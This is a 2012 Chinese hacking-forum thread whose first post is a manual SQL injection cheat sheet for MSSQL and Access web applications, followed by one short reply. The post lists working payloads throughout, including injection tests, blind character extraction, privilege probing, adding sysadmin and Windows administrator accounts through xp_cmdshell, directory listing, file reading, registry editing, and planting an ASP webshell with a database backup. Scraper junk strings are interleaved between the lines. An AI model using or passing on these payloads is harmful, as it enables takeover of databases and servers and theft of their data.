找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2270|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 ; d! j* A; m8 q8 V
1.判断是否有注入;and 1=1 ;and 1=2 % a/ T2 j! w4 _% W+ C7 Q3 a3 H/ @( |

1 W3 |6 k5 v! g- ~2 v2.初步判断是否是mssql ;and user>0 1 ~# M) n7 |4 q$ E4 Q) s. h

6 h" t7 F9 S- e+ R, ?5 Z3.注入参数是字符'and [查询条件] and ''='
* t  A6 `- J' F8 n6 Z3 b& N0 ~* v" {  r6 n' @5 U( H1 V
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 0 T5 z- c4 q/ F: l$ [0 O! Z6 Q
+ H8 [, C. Q# E3 u
5.判断数据库系统
/ J# Y; Z3 u0 Q5 U;and (select count(*) from sysobjects)>0 mssql , I9 f& J6 b# @) C* f7 M
;and (select count(*) from msysobjects)>0 access
. e  W+ `3 }8 Z; m! L- A8 r( k" E8 @4 n" \
6.猜数据库 ;and (select Count(*) from [数据库名])>0 9 w6 v6 Q# y# {  w, J" L
6 v# u% C) d0 Z  a+ i6 H
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
" T0 B) y. t3 E8 H! l; A. a4 `1 ~! v# N
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 5 V# v) s3 l* X3 w) N: Q- F

7 M9 ~1 X" O% d# j9.(1)猜字段的ascii值(access)
; m8 T8 J0 B# @7 H+ g;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 8 @2 O6 b# ]5 @% A& N% C) f; z
  p3 m$ n2 |1 P+ T
(2)猜字段的ascii值(mssql) 9 l6 k4 ~# n6 D6 H
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
' W& ?" C/ P; f1 Z( q. y/ l: E1 j  s! c' {" n
10.测试权限结构(mssql)
$ ?8 ]# ^; j/ K# h;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
7 m3 ~. G; \/ U8 H$ w& p+ T& P" j;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7 K# O# Z' z3 W3 t9 z/ k8 H. w
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- / G" e9 G! @$ K/ ~, M& a- v
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- " v2 c/ M9 j# M2 G+ a6 K' u
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
& Y# e0 z$ T  z, _8 A;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
5 Q$ z- ?" y4 R8 F4 a4 |" I$ {/ ?;and 1=(select IS_MEMBER('db_owner'));-- ; }9 s8 f4 s7 L' W
7 Q4 M: _( A6 b. G* V3 J
11.添加mssql和系统的帐户
( z' a; }0 o3 W;exec master.dbo.sp_addlogin username;-- ' @6 X1 L1 b( s+ S9 }% N" l1 C' U

9 c7 c; s9 V* w. ~. W8 u;exec master.dbo.sp_password null,username,password;--
" s' r$ f& R7 R  w  Q
: J2 E9 f9 f: x3 l5 p6 C* A" a;exec master.dbo.sp_addsrvrolemember sysadmin username;-- $ t4 [  {8 n) w  I! E1 }

. ?1 [: l, ]+ i7 l5 z. G+ V2 N" u2 D;exec master.dbo.xp_cmdshell 'net user username password
& Z, t" l$ S; Z# w* {$ g9 {/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
% Z" N( t/ ^' T# z' C+ W1 c) A. D  A' B$ y
;exec master.dbo.xp_cmdshell 'net user username password /add';--
# p" @& j* O/ q: Y9 c0 ]1 Y# e' F1 |: S3 P1 m1 [* N
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- - v+ W- c' o  x8 X/ E, A2 ^* k

+ I8 Q: p: Y9 V- f$ F# V* q12.(1)遍历目录 ' p# U0 P+ j4 {+ v2 k! ~

, _! Q/ e5 L2 V;create table dirs(paths varchar(100), id int)
' }/ o* _; Q- X6 ]. Q;insert dirs exec master.dbo.xp_dirtree 'c:\' 2 R; z7 u# Q! Y1 H! b7 W3 P0 I5 f
;and (select top 1 paths from dirs)>0
) b7 R# x& O0 \( e* R;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
! Y! Z* }) U- l/ C. N- g& |' N
4 p1 P/ a' ~9 a, u5 p% K, p2 V( z(2)遍历目录 ) h( Y# W5 D% u
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 5 B5 b- q/ ~* ]' I
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 3 ^6 a( i, O2 J3 ~9 L
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 6 D0 T) W) R7 r! K% a
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
' x( ]' ~" x( c" G( t. v( O, [;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
$ u1 P- r; c; w0 j) q5 t$ D5 j6 g  z6 O+ X% |7 _2 E0 R8 e
13.mssql中的存储过程 % a) `9 F" d! ]# Y9 C
6 [7 j3 o# i4 v" x+ S
xp_regenumvalues 注册表根键, 子键 6 y0 q' e4 w' r4 ]$ e! `3 l
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
/ l1 ~; t4 o5 V$ C8 i8 l* y! i  `, {/ j" @8 s+ ^, i
xp_regread 根键,子键,键值名
- ~& X" ]6 w- t, _;exec xp_regread 0 }- u9 ^0 I* q
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 $ d1 M3 K3 u# Y; [0 F9 r  b& ]- r
4 ?8 x. p( }7 q4 q! c- v4 N
xp_regwrite 根键,子键, 值名, 值类型, 值
0 c. @0 c" ~: P值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型   u2 x  O* s) Z' X( U/ H, ^& {
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ) [& `; a4 m2 D% x
. K( h0 \# D4 P; e
xp_regdeletevalue 根键,子键,值名 6 t- o3 u7 c& H3 C0 z  \6 M
5 W1 m( a$ f7 _& j! Y6 v; N5 m- ]
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
. J7 Y- |, l1 K3 \. f8 U8 J0 M" _( {% \* W+ i4 V) V! H" a: q! v
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 1 t4 K2 I' P6 k4 ], U3 |2 w' Z

  i4 m/ b9 O5 V  R! A2 R14.mssql的backup创建webshell   C5 W: U) P6 O! {
use model
: t9 }6 `6 w$ r# v% Y! W0 g4 dcreate table cmd(str image); & y) Z- j" N, l% z. K+ O0 `
insert into cmd(str) values (''); 0 R" ~! Y, k7 L6 H
backup database model to disk='c:\l.asp'; 5 _6 i5 Z; a0 G) a. u5 C1 @9 O# {

3 m% p3 s$ |; u- k15.mssql内置函数
6 Y3 f0 z3 W$ N6 Q" Z; e3 h( H;and (select @@version)>0 获得Windows的版本号 + R8 G' t+ i6 t9 F; K9 K: [( Z
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
+ Z$ Q) V/ s% E3 F% b' A;and (select user_name())>0 爆当前系统的连接用户
3 G3 Q) L' K: ^1 M/ s;and (select db_name())>0 得到当前连接的数据库 ( H% `/ @3 k/ l9 a
( e* O5 x( W6 k* U" S: H$ }
16.简洁的webshell
0 _& w4 i7 m6 x. O( h1 v% O* U& F
; o- G0 b9 _) q$ W+ nuse model
( ?. m6 M. Q* R8 v7 X
4 B0 \, c( Q9 c$ P7 ccreate table cmd(str image);
2 k' l" p# |" j3 T, e9 Z3 m+ t) K8 v$ s# V$ b3 }/ X' I" m- F
insert into cmd(str) values ('');
2 E+ X5 \: S- D
2 V9 `2 |# b5 m- b' Gbackup database model to disk='g:\wwwtest\l.asp'; % q. W3 j5 Y; z! y
( Z! ?5 e' H& f! M3 ~* ], }+ o7 l$ v7 m6 w
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表